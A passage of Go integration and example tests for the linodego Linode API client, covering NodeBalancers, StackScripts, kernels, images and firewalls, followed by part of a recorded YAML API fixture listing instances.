err == nil { fmt.Println("#### Current:", snapshot.ID > 0) } else { fmt.Println("#### No Current Snapshot:", err) } } else { fmt.Println("### No Current Snapshot") } volumes, err := linodeClient.ListInstanceVolumes(context.Background(), linode.ID, nil) if err != nil { log.Fatal(err) } else if len(volumes) > 0 { volume, err := linodeClient.GetVolume(context.Background(), volumes[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### First Volume:", volume.ID > 0) } else { fmt.Println("### No Volumes") } stackscripts, err := linodeClient.ListStackscripts(context.Background(), &linodego.ListOptions{Filter: "{\"mine\":true}"}) if err != nil { log.Fatal(err) } fmt.Println("## Your Stackscripts:", len(stackscripts) > 0) } // Output: // ## Instance request with Invalid ID // ### Linode: // ### Error: [404] Not found // ## List Instances // ## First Linode // ### First Config: true // ### First Disk: true // ### No Auto Backups // ### Snapshots // ### No Current Snapshot // ### No Volumes // ## Your Stackscripts: false } const ( lowerBytes = "abcdefghijklmnopqrstuvwxyz" upperBytes = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" digits = "0123456789" symbols = "/-=+@#$^&*()~!`|[]{}\\?,.<>;:'" ) func randString(length int, characterClasses ...string) string { quotient := (0.0 + float64(length)) / float64(len(characterClasses)) if quotient != math.Trunc(quotient) { panic("length must be divisible by characterClasses count") } b := make([]byte, length) for i := 0; i < length; i += len(characterClasses) { for j, characterClass := range characterClasses { randPos := rand.Intn(len(characterClass)) b[i+j] = characterClass[randPos] } } for i := range b { j := rand.Intn(i + 1) b[i], b[j] = b[j], b[i] } return string(b) } func randPassword() string { return randString(64, lowerBytes, upperBytes, digits, symbols) } func randLabel() string { return randString(12, lowerBytes, digits) } golang-github-linode-linodego-1.28.0/test/integration/example_nodebalancers_test.go000066400000000000000000000141631455402072200306100ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "github.com/linode/linodego" ) func ExampleClient_CreateNodeBalancer() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancer") defer teardown() fmt.Println("## NodeBalancer create") var nbID int nb := &linodego.NodeBalancer{ ClientConnThrottle: 20, Region: "us-southeast", } createOpts := nb.GetCreateOptions() nb, err := linodeClient.CreateNodeBalancer(context.Background(), createOpts) if err != nil { log.Fatal(err) } nbID = nb.ID fmt.Println("### Get") nb, err = linodeClient.GetNodeBalancer(context.Background(), nbID) if err != nil { log.Fatal(err) } updateOpts := nb.GetUpdateOptions() *updateOpts.Label += "_renamed" nb, err = linodeClient.UpdateNodeBalancer(context.Background(), nbID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if err := linodeClient.DeleteNodeBalancer(context.Background(), nbID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ### Get // ### Delete } func ExampleClient_CreateNodeBalancerConfig() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancerConfig") defer teardown() fmt.Println("## NodeBalancer create") clientConnThrottle := 20 nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", }) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Config create") createOpts := linodego.NodeBalancerConfigCreateOptions{ Port: 80, /* Protocol: linodego.ProtocolHTTP, Algorithm: linodego.AlgorithmLeastConn, Stickiness: linodego.StickinessHTTPCookie, Check: linodego.CheckHTTP, CipherSuite: linodego.CipherRecommended, */ CheckTimeout: 5, CheckInterval: 30, CheckAttempts: 5, } nbc, err := linodeClient.CreateNodeBalancerConfig(context.Background(), nb.ID, createOpts) if err != nil { log.Fatal(err) } nbcID := nbc.ID fmt.Println("## NodeBalancer Config update") updateOpts := nbc.GetUpdateOptions() updateOpts.Port += 8000 nbc, err = linodeClient.UpdateNodeBalancerConfig(context.Background(), nb.ID, nbc.ID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### List") configs, err := linodeClient.ListNodeBalancerConfigs(context.Background(), nb.ID, nil) if err != nil { log.Fatal(err) } fmt.Println("### Get") nbc, err = linodeClient.GetNodeBalancerConfig(context.Background(), nb.ID, configs[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if nbc.ID != nbcID { log.Fatalf("Unexpected Nodebalancer Config ID %d != %d", nbc.ID, nbcID) } if err := linodeClient.DeleteNodeBalancerConfig(context.Background(), nb.ID, nbc.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancer(context.Background(), nb.ID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ## NodeBalancer Config create // ## NodeBalancer Config update // ### List // ### Get // ### Delete } func ExampleClient_CreateNodeBalancerNode() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancerNode") defer teardown() fmt.Println("## NodeBalancer create") clientConnThrottle := 20 nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", }) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Config create") nbc, err := linodeClient.CreateNodeBalancerConfig(context.Background(), nb.ID, linodego.NodeBalancerConfigCreateOptions{ Port: 80, }) if err != nil { log.Fatal(err) } booted := false instanceOpts := linodego.InstanceCreateOptions{ Label: "nodebalancer-example-instance", RootPass: randPassword(), Region: "us-southeast", Type: "g6-nanode-1", Image: "linode/debian9", Booted: &booted, } instance, err := linodeClient.CreateInstance(context.Background(), instanceOpts) if err != nil { log.Fatal(err) } ip, err := linodeClient.AddInstanceIPAddress(context.Background(), instance.ID, false) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Node create") nodeOpts := linodego.NodeBalancerNodeCreateOptions{ Address: fmt.Sprintf("%s:%d", ip.Address, nbc.Port), Label: "node-" + ip.Address, } nbn, err := linodeClient.CreateNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nodeOpts) if err != nil { log.Fatal(err) } nbnID := nbn.ID fmt.Println("## NodeBalancer Node update") updateOpts := nbn.GetUpdateOptions() updateOpts.Address = fmt.Sprintf("%s:8080", ip.Address) nbn, err = linodeClient.UpdateNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nbn.ID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### List") nodes, err := linodeClient.ListNodeBalancerNodes(context.Background(), nb.ID, nbc.ID, nil) if err != nil { log.Fatal(err) } fmt.Println("### Get") nbn, err = linodeClient.GetNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nodes[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if nbn.ID != nbnID { log.Fatalf("Unexpected Nodebalancer Node ID %d != %d", nbn.ID, nbnID) } if err := linodeClient.DeleteNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nbn.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancerConfig(context.Background(), nb.ID, nbc.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancer(context.Background(), nb.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteInstance(context.Background(), instance.ID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ## NodeBalancer Config create // ## NodeBalancer Node create // ## NodeBalancer Node update // ### List // ### Get // ### Delete } golang-github-linode-linodego-1.28.0/test/integration/example_stackscripts_test.go000066400000000000000000000034311455402072200305210ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "strconv" "time" "github.com/linode/linodego" ) func ExampleClient_CreateStackscript() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateStackscript") defer teardown() fmt.Println("## Stackscript create") var ss *linodego.Stackscript var err error for rev := 1; rev < 4; rev++ { fmt.Println("### Revision", rev) if rev == 1 { stackscript := linodego.Stackscript{}.GetCreateOptions() stackscript.Description = "description for example stackscript " + time.Now().String() // stackscript.Images = make([]string, 2, 2) stackscript.Images = []string{"linode/debian9", "linode/ubuntu18.04"} stackscript.IsPublic = false stackscript.Label = "example stackscript " + time.Now().String() stackscript.RevNote = "revision " + strconv.Itoa(rev) stackscript.Script = "#!/bin/bash\n" ss, err = linodeClient.CreateStackscript(context.Background(), stackscript) if err != nil { log.Fatal(err) } } else { update := ss.GetUpdateOptions() update.RevNote = "revision " + strconv.Itoa(rev) update.Label = strconv.Itoa(rev) + " " + ss.Label update.Script += "echo " + strconv.Itoa(rev) + "\n" ss, err = linodeClient.UpdateStackscript(context.Background(), ss.ID, update) if err != nil { log.Fatal(err) } } } fmt.Println("### Get") ss, err = linodeClient.GetStackscript(context.Background(), ss.ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") err = linodeClient.DeleteStackscript(context.Background(), ss.ID) if err != nil { log.Fatal(err) } // Output: // ## Stackscript create // ### Revision 1 // ### Revision 2 // ### Revision 3 // ### Get // ### Delete } golang-github-linode-linodego-1.28.0/test/integration/example_test.go000066400000000000000000000222411455402072200257240ustar00rootroot00000000000000package integration /** * The tests in the examples directory demontrate use and test the library * in a real-use setting */ import ( "context" "fmt" "log" "strings" "github.com/linode/linodego" ) func ExampleClient_ListTypes_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListTypes_all") defer teardown() types, err := linodeClient.ListTypes(context.Background(), nil) if err != nil { log.Fatal(err) } fmt.Println("ID contains class:", strings.Contains(types[0].ID, string(types[0].Class))) fmt.Println("Plan has Ram:", types[0].Memory > 0) // Output: // ID contains class: true // Plan has Ram: true } // ExampleGetType_missing demonstrates the Error type, which allows inspecting // the request and response. Error codes will be the HTTP status code, // or sub-100 for errors before the request was issued. func ExampleClient_GetType_missing() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetType_missing") defer teardown() _, err := linodeClient.GetType(context.Background(), "missing-type") if err != nil { if v, ok := err.(*linodego.Error); ok { fmt.Println("Request was:", v.Response.Request.URL) fmt.Println("Response was:", v.Response.Status) fmt.Println("Error was:", v) } } // Output: // Request was: https://api.linode.com/v4beta/linode/types/missing-type // Response was: 404 Not Found // Error was: [404] Not found } // ExampleListKernels_all Demonstrates how to list all Linode Kernels. Paginated // responses are automatically traversed and concatenated when the ListOptions are nil func ExampleClient_ListKernels_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_all") defer teardown() kernels, err := linodeClient.ListKernels(context.Background(), nil) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched > 100:", len(kernels) > 100) // Output: // Fetched > 100: true } func ExampleClient_ListKernels_allWithOpts() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_allWithOpts") defer teardown() filterOpt := linodego.NewListOptions(0, "") kernels, err := linodeClient.ListKernels(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched > 100:", len(kernels) > 100) fmt.Println("Fetched Results/100 pages:", filterOpt.Pages > filterOpt.Results/100) fmt.Println("Fetched all results:", filterOpt.Results == len(kernels)) // Output: // Fetched > 100: true // Fetched Results/100 pages: true // Fetched all results: true } func ExampleClient_ListKernels_filtered() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_filtered") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"label\":\"5.17.5-x86_64-linode154\"}"} kernels, err := linodeClient.ListKernels(context.Background(), &filterOpt) if err != nil { log.Fatal(err) } for _, kern := range kernels { fmt.Println(kern.ID, kern.Label) } // Unordered output: // linode/5.17.5-x86_64-linode154 5.17.5-x86_64-linode154 } func ExampleClient_ListKernels_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_page1") defer teardown() filterOpt := linodego.NewListOptions(1, "") kernels, err := linodeClient.ListKernels(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched == 100:", len(kernels) == 100) fmt.Println("Results > 100:", filterOpt.Results > 100) fmt.Println("Pages > 1:", filterOpt.Pages > 1) k := kernels[len(kernels)-1] fmt.Println("Kernel Version in ID:", strings.Contains(k.ID, k.Label)) // Output: // Fetched == 100: true // Results > 100: true // Pages > 1: true // Kernel Version in ID: true } func ExampleClient_GetKernel_specific() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetKernel_specific") defer teardown() l32, err := linodeClient.GetKernel(context.Background(), "linode/latest-32bit") if err == nil { fmt.Println("Label starts:", l32.Label[0:9]) } else { log.Fatalln(err) } l64, err := linodeClient.GetKernel(context.Background(), "linode/latest-64bit") if err == nil { fmt.Println("Label starts:", l64.Label[0:9]) } else { log.Fatalln(err) } // Interference check fmt.Println("First Label still starts:", l32.Label[0:9]) // Output: // Label starts: Latest 32 // Label starts: Latest 64 // First Label still starts: Latest 32 } func ExampleClient_GetImage_missing() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetImage_missing") defer teardown() _, err := linodeClient.GetImage(context.Background(), "not-found") if err != nil { if v, ok := err.(*linodego.Error); ok { fmt.Println("Request was:", v.Response.Request.URL) fmt.Println("Response was:", v.Response.Status) fmt.Println("Error was:", v) } } // Output: // Request was: https://api.linode.com/v4beta/images/not-found // Response was: 404 Not Found // Error was: [404] Not found } func ExampleClient_ListImages_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_all") defer teardown() filterOpt := linodego.NewListOptions(0, "") images, err := linodeClient.ListImages(context.Background(), filterOpt) if err != nil { log.Fatal(err) } fmt.Println("Fetched Results/100 pages:", filterOpt.Pages > filterOpt.Results/100) fmt.Println("Fetched all results:", filterOpt.Results == len(images)) // Output: // Fetched Results/100 pages: true // Fetched all results: true } // ExampleListImages_notfound demonstrates that an empty slice is returned, // not an error, when a filter matches no results. func ExampleClient_ListImages_notfound() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_notfound") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"label\":\"not-found\"}"} images, err := linodeClient.ListImages(context.Background(), &filterOpt) if err != nil { log.Fatal(err) } fmt.Println("Images with Label 'not-found':", len(images)) // Output: // Images with Label 'not-found': 0 } // ExampleListImages_notfound demonstrates that an error is returned by // the API and linodego when an invalid filter is provided func ExampleClient_ListImages_badfilter() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_badfilter") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"foo\":\"bar\"}"} images, err := linodeClient.ListImages(context.Background(), &filterOpt) if err == nil { log.Fatal(err) } fmt.Println("Error given on bad filter:", err) fmt.Println("Images on bad filter:", images) // TODO: nil would be better here // Output: // Error given on bad filter: [400] [X-Filter] Cannot filter on foo // Images on bad filter: [] } func ExampleClient_ListLongviewSubscriptions_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListLongviewSubscriptions_page1") defer teardown() pageOpt := linodego.ListOptions{PageOptions: &linodego.PageOptions{Page: 1}} subscriptions, err := linodeClient.ListLongviewSubscriptions(context.Background(), &pageOpt) if err != nil { log.Fatal(err) } fmt.Println("Longview Subscription Types:", len(subscriptions)) // Output: // Longview Subscription Types: 4 } func ExampleClient_ListStackscripts_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListStackscripts_page1") defer teardown() filterOpt := linodego.NewListOptions(1, "") scripts, err := linodeClient.ListStackscripts(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched == 100:", len(scripts) == 100) fmt.Println("Results > 100:", filterOpt.Results > 100) fmt.Println("Pages > 1:", filterOpt.Pages > 1) s := scripts[len(scripts)-1] fmt.Println("StackScript Script has shebang:", strings.Contains(s.Script, "#!/")) fmt.Println("Created is parsed:", s.Created != nil) // Output: // Fetched == 100: true // Results > 100: true // Pages > 1: true // StackScript Script has shebang: true // Created is parsed: true } golang-github-linode-linodego-1.28.0/test/integration/firewall_rules_test.go000066400000000000000000000042431455402072200273120ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) var ( testFirewallRule = linodego.FirewallRule{ Label: "go-fwrule-test", Action: "ACCEPT", Ports: "22", Protocol: "TCP", Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::0/0"}, }, } testFirewallRuleSet = linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{testFirewallRule}, InboundPolicy: "ACCEPT", Outbound: []linodego.FirewallRule{testFirewallRule}, OutboundPolicy: "ACCEPT", } ) func TestFirewallRules_Get(t *testing.T) { client, firewall, teardown, err := setupFirewall(t, []firewallModifier{func(createOpts *linodego.FirewallCreateOptions) { createOpts.Rules = testFirewallRuleSet }}, "fixtures/TestFirewallRules_Get") if err != nil { t.Error(err) } defer teardown() rules, err := client.GetFirewallRules(context.Background(), firewall.ID) if err != nil { t.Error(err) } if !cmp.Equal(rules, &testFirewallRuleSet, ignoreNetworkAddresses) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(rules, testFirewallRuleSet, ignoreNetworkAddresses)) } } func TestFirewallRules_Update(t *testing.T) { client, firewall, teardown, err := setupFirewall(t, []firewallModifier{}, "fixtures/TestFirewallRules_Update") if err != nil { t.Error(err) } defer teardown() newRules := linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{ { Label: testFirewallRule.Label + "_r", Action: "DROP", Ports: "22", Protocol: "TCP", Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::0/0"}, }, }, }, InboundPolicy: "ACCEPT", OutboundPolicy: "ACCEPT", } if _, err := client.UpdateFirewallRules(context.Background(), firewall.ID, newRules); err != nil { t.Error(err) } rules, err := client.GetFirewallRules(context.Background(), firewall.ID) if err != nil { t.Error(err) } if !cmp.Equal(rules, &newRules, ignoreNetworkAddresses) { t.Errorf("expected rules to have been updated but got diff: %s", cmp.Diff(rules, &newRules, ignoreNetworkAddresses)) } } golang-github-linode-linodego-1.28.0/test/integration/firewalls_devices_test.go000066400000000000000000000052221455402072200277630ustar00rootroot00000000000000package integration import ( "context" "net/http" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestFirewallDevices_List(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevices_List") if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client, func(opts *linodego.FirewallCreateOptions) { opts.Devices.Linodes = []int{instance.ID} }) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevices, err := client.ListFirewallDevices(context.Background(), firewall.ID, nil) if err != nil { t.Error(err) } if len(firewallDevices) != 1 { t.Errorf("expected 1 firewall device but got %d", len(firewallDevices)) } } func TestFirewallDevice_Get(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Get") if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevice, err := client.CreateFirewallDevice(context.Background(), firewall.ID, linodego.FirewallDeviceCreateOptions{ Type: linodego.FirewallDeviceLinode, ID: instance.ID, }) if err != nil { t.Error(err) } if device, err := client.GetFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error(err) } else if !cmp.Equal(device, firewallDevice) { t.Errorf("expected device to match create result but got diffs: %s", cmp.Diff(device, firewallDevice)) } } func TestFirewallDevice_Delete(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Delete") if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevice, err := client.CreateFirewallDevice(context.Background(), firewall.ID, linodego.FirewallDeviceCreateOptions{ Type: linodego.FirewallDeviceLinode, ID: instance.ID, }) if err != nil { t.Error(err) } assertDateSet(t, firewallDevice.Created) assertDateSet(t, firewallDevice.Updated) if err := client.DeleteFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error(err) } if _, getErr := client.GetFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error("expected fetching firewall device to fail") } else if apiError, ok := getErr.(*linodego.Error); !ok || apiError.Code != http.StatusNotFound { t.Errorf("expected fetching firewall device to throw Not Found but got: %s", getErr) } } golang-github-linode-linodego-1.28.0/test/integration/firewalls_test.go000066400000000000000000000114121455402072200262570ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" ) var testFirewallCreateOpts = linodego.FirewallCreateOptions{ Label: "linodego-fw-test", Rules: testFirewallRuleSet, // borrowed from firewall_rules.test.go Tags: []string{"testing"}, } // ignoreNetworkAddresses negates comparing IP addresses. Because of fixture sanitization, // these addresses will be changed to bogus values when running tests. var ignoreNetworkAddresses = cmpopts.IgnoreFields(linodego.FirewallRule{}, "Addresses") // ignoreFirewallTimestamps negates comparing created and updated timestamps. Because of // fixture sanitization, these addresses will be changed to bogus values when running tests. var ignoreFirewallTimestamps = cmpopts.IgnoreFields(linodego.Firewall{}, "Created", "Updated") func TestFirewalls_List_smoke(t *testing.T) { client, _, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" }, }, "fixtures/TestFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListFirewalls(context.Background(), nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } func TestFirewall_Get(t *testing.T) { rules := linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{ { Label: "linodego-fwrule-test", Action: "DROP", Protocol: linodego.ICMP, Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::/0"}, }, }, }, InboundPolicy: "ACCEPT", OutboundPolicy: "ACCEPT", } client, created, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" createOpts.Rules = rules }, }, "fixtures/TestFirewall_Get") if err != nil { t.Error(err) } defer teardown() result, err := client.GetFirewall(context.Background(), created.ID) if err != nil { t.Errorf("failed to get newly created firewall %d: %s", created.ID, err) } if result.Rules.Inbound[0].Label != rules.Inbound[0].Label { t.Errorf("Expected firewall rules to be %#v but got %#v", rules, result.Rules) } } func TestFirewall_Update(t *testing.T) { rules := linodego.FirewallRuleSet{ InboundPolicy: "ACCEPT", Inbound: []linodego.FirewallRule{ { Label: "linodego-fwrule-test", Action: "DROP", Protocol: linodego.ICMP, Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, }, }, }, OutboundPolicy: "ACCEPT", } client, firewall, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" createOpts.Rules = rules createOpts.Tags = []string{"test"} }, }, "fixtures/TestFirewall_Update") if err != nil { t.Error(err) } defer teardown() updateOpts := firewall.GetUpdateOptions() updateOpts.Status = linodego.FirewallDisabled updateOpts.Label = firewall.Label + "-updated" updateOpts.Tags = &[]string{} updated, err := client.UpdateFirewall(context.Background(), firewall.ID, updateOpts) if err != nil { t.Error(err) } if !cmp.Equal(updated.Tags, *updateOpts.Tags) { t.Errorf("expected tags to be updated: %s", cmp.Diff(updated.Tags, *updateOpts.Tags)) } if updated.Status != updateOpts.Status { t.Errorf("expected status %s but got %s", updateOpts.Status, updated.Status) } if updated.Label != updateOpts.Label { t.Errorf(`expected label to be "%s" but got "%s"`, updateOpts.Label, updated.Label) } } type firewallModifier func(*linodego.FirewallCreateOptions) func createFirewall(t *testing.T, client *linodego.Client, firewallModifiers ...firewallModifier) (*linodego.Firewall, func(), error) { t.Helper() createOpts := testFirewallCreateOpts for _, modifier := range firewallModifiers { modifier(&createOpts) } firewall, err := client.CreateFirewall(context.Background(), createOpts) if err != nil { t.Errorf("failed to create firewall: %s", err) } teardown := func() { if err := client.DeleteFirewall(context.Background(), firewall.ID); err != nil { t.Errorf("failed to delete firewall: %s", err) } } return firewall, teardown, nil } func setupFirewall(t *testing.T, firewallModifiers []firewallModifier, fixturesYaml string) (*linodego.Client, *linodego.Firewall, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) firewall, firewallTeardown, err := createFirewall(t, client, firewallModifiers...) teardown := func() { firewallTeardown() fixtureTeardown() } return client, firewall, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/fixtures/000077500000000000000000000000001455402072200245535ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures/Example.yaml000066400000000000000000000704271455402072200270440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/1231 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: GET response: body: '{"data": [{"id": 29745916, "label": "workdev", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["139.177.207.51"], "ipv6": "1234::5678/128", "image": "linode/fedora34", "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["linuke-keep"]}, {"id": 39240942, "label": "lke75115-116795-633c48949ebf", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["45.33.100.229", "192.168.205.39"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240950, "label": "lke75116-116796-633c48a291b4", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["50.116.34.26", "192.168.195.209"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240951, "label": "lke75116-116797-633c48a2c4ee", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["45.79.210.94", "192.168.195.223"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240953, "label": "lke75116-116797-633c48a2dbfa", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["139.177.202.7", "192.168.224.63"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240954, "label": "lke75117-116799-633c48b08cfe", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["170.187.138.96", "192.168.224.159"], 